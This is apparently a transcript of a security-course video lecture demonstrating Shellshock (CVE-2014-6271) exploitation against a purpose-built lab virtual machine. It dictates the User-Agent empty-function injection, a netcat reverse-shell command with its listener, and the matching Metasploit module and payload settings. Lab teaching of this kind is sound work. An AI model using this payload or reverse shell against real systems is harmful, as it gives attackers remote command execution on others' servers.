Instructor: Welcome back.
It is time that we cover
our first vulnerability in a website.
And as a first vulnerability,
I've chosen to show you the Shellshock Exploitation.
Now, Shellshock is an older vulnerability.
It was discovered in 2014
and you will most likely never find it today
while performing penetration tests.
But nonetheless, I want to show it to you
just because of the impact that it had.
Shellshock is considered one of the most critical
and serious vulnerabilities ever discovered.
This vulnerability occurred
due to bash differently processing environmental variables.
With this many things were hit
from DHCP clients
from terminal command lines
to CGI scripts inside of a web applications.
And in this tutorial we will see an example
of exploiting ShellShock through the CGI script
on a webpage.
Also for this,
we are going to download a small ISO file
that will allow us to run a virtual machine
only for this vulnerability.
Don't worry, it'll only take a few seconds to install
due to it being a small virtual machine
and it is only purposely designed
for this specific vulnerability.
To download it, you want to go to your Google,
you can type in pentesterlab shellshock,
and you should see a link like this
that says CVE-2014-6271 called ShellShock.
It'll be from the pentesterlab.com
and you want to click on it
and it'll navigate you to this page right here
where you will have the ShellShock introduction,
fingerprinting
and all the other stuff regarding this vulnerability.
However, we're not going to go into these details right here
because we want to exploit it ourselves.
What we want to do is we want to go to the Files right here
and you should see this ISO
where you want to click on it
and it'll download the ISO image
with the size of 19.1 megabytes.
so you can see it is really, really small.
Once you do that, you want to go to your virtual box
and you want to create a virtual machine as we usually do.
Now, I already got shellshocklab created
with the ISO file that we just downloaded
but what you essentially want to do
is you want to click on New,
then you can call it anything you want.
You can call it shellshock.
You can select right here, Linux as an operating system
and the version of Linux is going to be Other Linux 32 bit.
Click on that.
Then you can proceed to Next.
You can leave it to 256 megabytes of RAM.
That is more than enough for this machine.
Click on Next right here.
We want to create a virtual machine
Next here.
Next here as well.
And we can click on Create.
And as usual,
there are two more things that we want to do
once we create a new virtual machine.
We want to navigate to the Settings.
From the Settings, we want to go to Network,
switch from the NAT to Bridged Adapter.
Select your adapter right here.
And another thing that we want to do
is we want to add our ISO file.
So delete this Empty right here,
click on the disc icon,
click on add,
and find the ISO file.
In my case, here it is, CVE-2014-6271.
Click on Choose and click on OK.
This will create your ShellShock virtual machine.
After you do that, you want to go to your Kali Linux,
start your Burp Suite tool that we covered already,
that we covered the configuration of
and you want to go start it up.
And after you start it up, you can open your Firefox.
Now you might have noticed if you tried
before watching this video
that once you try to visit Firefox
without having Burp Suite running,
you will not be able to visit any page.
And that is because we set our Burp Suite
to be a proxy for our Firefox.
So now every time you want to visit Firefox page
or any website page,
you must have Burp Suite open.
And you must also have the intercept turned off
so it doesn't intercept any packets.
Otherwise your page will just load forever.
Now that we opened the Firefox,
let us open Burp Suite too.
It is starting the project
and as soon as it opens up,
we'll be able to visit our page
on our ShellShock virtual machine.
Okay, so now that Burp Suite opened,
go to Target, then go to proxy
and turn off the intercept right here.
So Intercept should be off.
Once you do that
the next thing that we want to do
is we want to start our ShellShock virtual machine.
If you're starting it for the first time
it should only take a few seconds to set everything up
since it is a really, really small virtual machine.
And once it opens up, it won't even prompt you for a login.
There is no login available
inside of this machine right here.
It will just enter the command line
where we want to type ifconfig
just to find out the IP address of this machine.
And in this case, it is 192.168.1.10.
So all we want to do
is we want to go to our Firefox
and visit this page to see what we have.
And this seems to be the entire page of this virtual machine
We get this system is running,
the time that it is running,
currently for zero minutes because we just started it up
and we get the kernel of that virtual machine.
Now if we take a look at our Burp Suite right now
and we go to the Targets
and we go to our IP address
of the ShellShock Virtual Machine
we will see all the links that we requested,
ones trying to of the webpage
of our ShellShock virtual machine.
We will see this slash directory.
We will see this JavaScript file
and we will see this cgi-bin status directory.
So we get a CGI script right here.
If we go to the response of that request that we sent
and to do that,
you simply just select the request that you want to go to
and click on Response right here.
Then we will see down here,
this output that looks a lot
like an output to the command, uname -a.
For example, if you run the command uname -a
inside of your terminal,
it'll give you an output like this
which will tell you which version of Linux are you running
and so on and so on.
We get a similar output inside of our Burp Suite
as we can see right here.
And in most cases, this output is ran
by the uname -i command and it is ran by bash.
And inside this request that we did
User-Agent field that we got inside of the request
is an environmental variable
when processed inside of this CGI script.
So what we can try is to inject the command in that field.
However, it won't work that easy.
We can't just inject,
for example, whoami command instead of this.
It'll not give us any output back.
You might be asking why?
Well, because ShellShock vulnerability
is based on first specifying an empty function.
And I know this might sound confusing
but just stick with me for a couple more minutes
and I will explain it how it works.
The vulnerability itself was discovered
when inside of an environmental variable
such as this user agent
empty function syntax was specified
and empty function syntax looks something like this.
Let me show you inside the terminal.
It is this set of characters.
So open bracket, closed bracket,
then space, open curly bracket,
then space, two dots, dot and comma
and closed curly bracket
and at the end another dot and comma.
And this right here is a syntax for an empty function.
So any command that we want to run,
before it, we must have this empty function syntax.
Why?
Well, when bash gets these characters in this order
or if bash gets this empty function with the variable
instead of blocking it, it'll accept it
with the variable that comes after
and it runs it as a command on the server
and that is the entire vulnerability.
All we have to do is to specify a command after the syntax
and it should work.
Now to do that, we must send this HTTP request right here
to this cgi-bin script once again.
And we must specify instead of the user agent
the empty function syntax and then our command.
So how can we do that?
How can we send the request once again?
Well, luckily Burp Suite allows us to edit our requests
and send them as many times as we want.
All we need to do is to select the request
that we want to send again.
So we select it right here.
Then we right-click and Send to Repeater right here.
Then you will see this Repeater part light up.
We want to go there
and here we can edit our request before actually sending it.
So we mentioned that we want to inject the command
inside of the User-Agent field.
Let us remove this.
And let's type the syntax for the empty function first.
So open and closed bracket, then empty space,
open curly bracket, then space, two dots, comma and dot
closed curly bracket and comma and dot at the end.
Now what you can do after this
is you can inject your command.
And if you want to, you can test to see
if it works with the ping command first.
But I'm not going to test it with the ping command.
I'm going to straight away try to establish a connection
with our Kali Linux machine and get a reverse shell back.
So what do we want to do right here
to establish a connection with our Kali Linux machine?
Well, we want to execute /bin/bash
and this will tell the targets
to execute the following command.
If we specify dash c after,
it'll tell our target that whatever we send after this
will be our command
and we must specify it between the single quotes.
So for now, we have the empty function syntax
then /bin/bash -c
then open single quotes and close single quotes
and in between the quotes
we type nc which stands for Netcat
and we specify the IP address of our Kali Linux machine.
So let's check it out right here,
sudo ifconfig, test1234 is my password
and I will specify 192.168.1.9.
So right here, 192.168.1.9.
And I want to specify also the port to connect to.
In my case I will use port 12345,
it doesn't really matter.
And at the end we want to specify -e,
which stands for what we want to execute
on our target machine.
And we want to simply just use the bash shell.
So we can do that by specifying slash bin and slash bash.
And this is the entire command.
I will copy it to my terminal so you can see it enlarged.
So copy and if I clear the screen, paste it right here.
This is our entire command.
The empty functions syntax
and then the function
that allows us to establish a connection
to our Kali Linux machine.
But before we send this request from our Burp Suite,
we must set up a listener right here.
So I'm just going to go and type nc -lvp
and then on the port that we specified which is 12345.
Press enter.
This will listen for the incoming connections.
And now that we change the User-Agent field to our command
we can click on Send.
If I go back to our Kali Linux terminal
we can see we got the connection
from our ShellShock virtual machine.
And if we try to execute commands such as whoami
all of that will work.
We can see we are the pentesterlab.
The ls command will give me all of the directories
inside of the current directory.
I can type the pwd to check out my current working directory
and I am in the /var/www/cgi-bin folder.
Great.
So we successfully exploited the shock vulnerability
and gained access to this machine.
Now you can also automate this entire process
with Metasploit framework.
So what we did right here
is we manually exploited the target
with the help of our Burp Suite.
We sent our request for the CGI bin script to the repeater
then we changed the user field to our command
which requires the empty syntax at the beginning
and after it the command that we want to execute
which can be any command that you really want.
Then we set up a listener inside of our terminal
and we sent this packet once again
or we sent this request once again.
Right here we can see the response to this request
and it tells us that we got the internal server error
because it doesn't really recognize this user agent.
However, it did execute this command
which is all that we want.
Inside of the Metasploit framework
you can type search shellshock
and you can use this exploit right here
which is exploit/multi/http/apache_mod_cgi_bash
environmental execution.
You can copy that,
type use and then paste the selection.
It'll set our payload
to be linux/x86/meterpreter/reverse_tcp
and if I type show options,
I can set my options right here.
So what I must set is the RHOSTS
which is the IP address of my target machine.
Let's do that first.
What I also must set is this RPATH.
So this will be the path to the CGI script.
So the RPATH must be set to cgi-bin/status.
If I'm not mistaken
that is the path.
Let us see inside of our Burp Suite.
So it indeed is cgi-bin and then status.
And all we're left to do right now
is set this and run our exploit.
So, oh pardon of me, it's not there.
Let us just go and set the TARGETURI.
It is TARGETURI
that we must set to be the /cgi-bin/status.
So let's just set the TARGETURI instead.
And let's set the RPATH back to slash bin, I believe.
And let's give this a try.
We send this, we get the meterpreter session one opened.
And here it is,
get user id
will tell us who we are.
We can execute the commands
and we can do everything
that we did inside of our exploitation section.
So we successfully exploited ShellShock vulnerability
in two different ways,
manually by using Burp Suite
and sending our command in the User-Agent field
and with the help of this Metasploit framework module.
It also exploited the User-Agent field
as we can see right here.
We told the path to be /cgi-bin/status
and we got the meterpreter reverse shell back.
Great.
Now that we did this
in the next video we're going to check out
a very similar thing to this
which is called command injection.
See you in the next video.